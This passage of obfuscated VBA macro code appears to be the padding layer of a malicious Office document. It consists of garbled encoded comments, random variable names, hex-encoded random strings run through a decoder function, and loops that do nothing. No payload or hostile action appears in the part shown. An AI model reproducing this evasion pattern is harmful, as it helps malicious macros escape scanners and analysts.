'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
SQorkbkl = RTrim(FaTklcQM)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
pTTkOWYS = RTrim(jgFYKFjo)


'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim YUNiIyNt As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim uSkhlPDx, eDAAFFqc, VFQDoLIb As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
uSkhlPDx = GIYbonflbkpgerg("2020202020202020202020505551444153202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
eDAAFFqc = LTrim(uSkhlPDx)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
VFQDoLIb = RTrim(eDAAFFqc)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
YUNiIyNt = 7
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While YUNiIyNt < 89
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim mAiDsXOj, NxGivjno, LDYLhcHS As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
mAiDsXOj = GIYbonflbkpgerg("202020202020202020202042524D4D414F202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
NxGivjno = LTrim(mAiDsXOj)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
LDYLhcHS = RTrim(NxGivjno)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: YUNiIyNt = YUNiIyNt + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim XKcxpjbp, veSjLDoE, DLKMBbms As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
XKcxpjbp = GIYbonflbkpgerg("202020202020202020202046545342474B202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
veSjLDoE = LTrim(XKcxpjbp)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DLKMBbms = RTrim(veSjLDoE)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim cBPonpqm, PtxszVgT, XqogRQkH As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
cBPonpqm = GIYbonflbkpgerg("2020202020202020202020505159464155202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
PtxszVgT = LTrim(cBPonpqm)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
XqogRQkH = RTrim(PtxszVgT)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï

End Function
Sub KFIDAXVLION()
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim hhhdDOts, KnRyxuFT, ujPPZKNf As String

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim qyMEsyBo As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim BQlSFKGk, WSRViCdl, HSFpZaPl As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
BQlSFKGk = GIYbonflbkpgerg("2020202020202020202020595553565348202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
WSRViCdl = LTrim(BQlSFKGk)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
HSFpZaPl = RTrim(WSRViCdl)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
qyMEsyBo = 5
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While qyMEsyBo < 54
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim UteDnTmp, dNPiDadz, yjALRiAT As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
UteDnTmp = GIYbonflbkpgerg("2020202020202020202020544C4B4D4F41202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
dNPiDadz = LTrim(UteDnTmp)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
yjALRiAT = RTrim(dNPiDadz)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: qyMEsyBo = qyMEsyBo + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim cPtkbSTq, NXlsppgR, fSvHgWnd As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
cPtkbSTq = GIYbonflbkpgerg("2020202020202020202020495355545358202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
NXlsppgR = LTrim(cPtkbSTq)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
fSvHgWnd = RTrim(NXlsppgR)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim GaCJGziI, DQnEDrFu, NJdYgJJk As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
GaCJGziI = GIYbonflbkpgerg("20202020202020202020204C5344544945202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DQnEDrFu = LTrim(GaCJGziI)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
NJdYgJJk = RTrim(DQnEDrFu)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
hhhdDOts = GIYbonflbkpgerg("20202020202020202020205648494D525A202020202020202020202020202020")

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim rLvqtyoi As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim UliMEhwz, ZlkyVlLe, vlAklvjt As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
UliMEhwz = GIYbonflbkpgerg("20202020202020202020204343595A5941202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ZlkyVlLe = LTrim(UliMEhwz)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
vlAklvjt = RTrim(ZlkyVlLe)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
rLvqtyoi = 4
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While rLvqtyoi < 94
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim BOrMtblC, RRQgkMqG, oblOTheU As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
BOrMtblC = GIYbonflbkpgerg("202020202020202020202046494B435656202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
RRQgkMqG = LTrim(BOrMtblC)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
oblOTheU = RTrim(RRQgkMqG)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: rLvqtyoi = rLvqtyoi + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim WZlOTnbc, plcfQsQy, SESimOmn As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
WZlOTnbc = GIYbonflbkpgerg("202020202020202020202044434F594E43202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
plcfQsQy = LTrim(WZlOTnbc)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
SESimOmn = RTrim(plcfQsQy)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim CPeArcbg, oHGRYsEb, unlkRfoV As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
CPeArcbg = GIYbonflbkpgerg("2020202020202020202020434547434846202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
oHGRYsEb = LTrim(CPeArcbg)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
unlkRfoV = RTrim(oHGRYsEb)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
KnRyxuFT = LTrim(hhhdDOts)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim mNMZgJtz As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim dgIecLbV, ogKgKVCB, rhzndzmN As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
dgIecLbV = GIYbonflbkpgerg("202020202020202020202044574C594548202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ogKgKVCB = LTrim(dgIecLbV)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
rhzndzmN = RTrim(ogKgKVCB)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
mNMZgJtz = 5
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While mNMZgJtz < 48
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim uwFvJgnx, QkwLrPlg, jdrfjtpy As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
uwFvJgnx = GIYbonflbkpgerg("2020202020202020202020514A59525A4E202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
QkwLrPlg = LTrim(uwFvJgnx)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
jdrfjtpy = RTrim(QkwLrPlg)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
DoEvents: mNMZgJtz = mNMZgJtz + 1
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim axAoQzWD, EIGembRi, KvWYnqHH As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
axAoQzWD = GIYbonflbkpgerg("202020202020202020202043544B4E4B52202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
EIGembRi = LTrim(axAoQzWD)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
KvWYnqHH = RTrim(EIGembRi)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Loop

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim FliRbePt, NvMUaJFh, sRYPETJn As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
FliRbePt = GIYbonflbkpgerg("20202020202020202020204B4D4B424145202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
NvMUaJFh = LTrim(FliRbePt)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
sRYPETJn = RTrim(NvMUaJFh)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ujPPZKNf = RTrim(KnRyxuFT)


'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim AfsqhWZR As Integer
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim eNALqIYP, BNQtRSrQ, MaXjBJnS As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
eNALqIYP = GIYbonflbkpgerg("2020202020202020202020494648414351202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
BNQtRSrQ = LTrim(eNALqIYP)
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
MaXjBJnS = RTrim(BNQtRSrQ)

'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
AfsqhWZR = 6
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Do While AfsqhWZR < 75
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
Dim CasGflPo, ZXMpnDZa, iKARDolL As String
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
CasGflPo = GIYbonflbkpgerg("202020202020202020202059554B44445A202020202020202020202020202020")
'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
ZXMpnDZa = LTrim(CasGflPo)
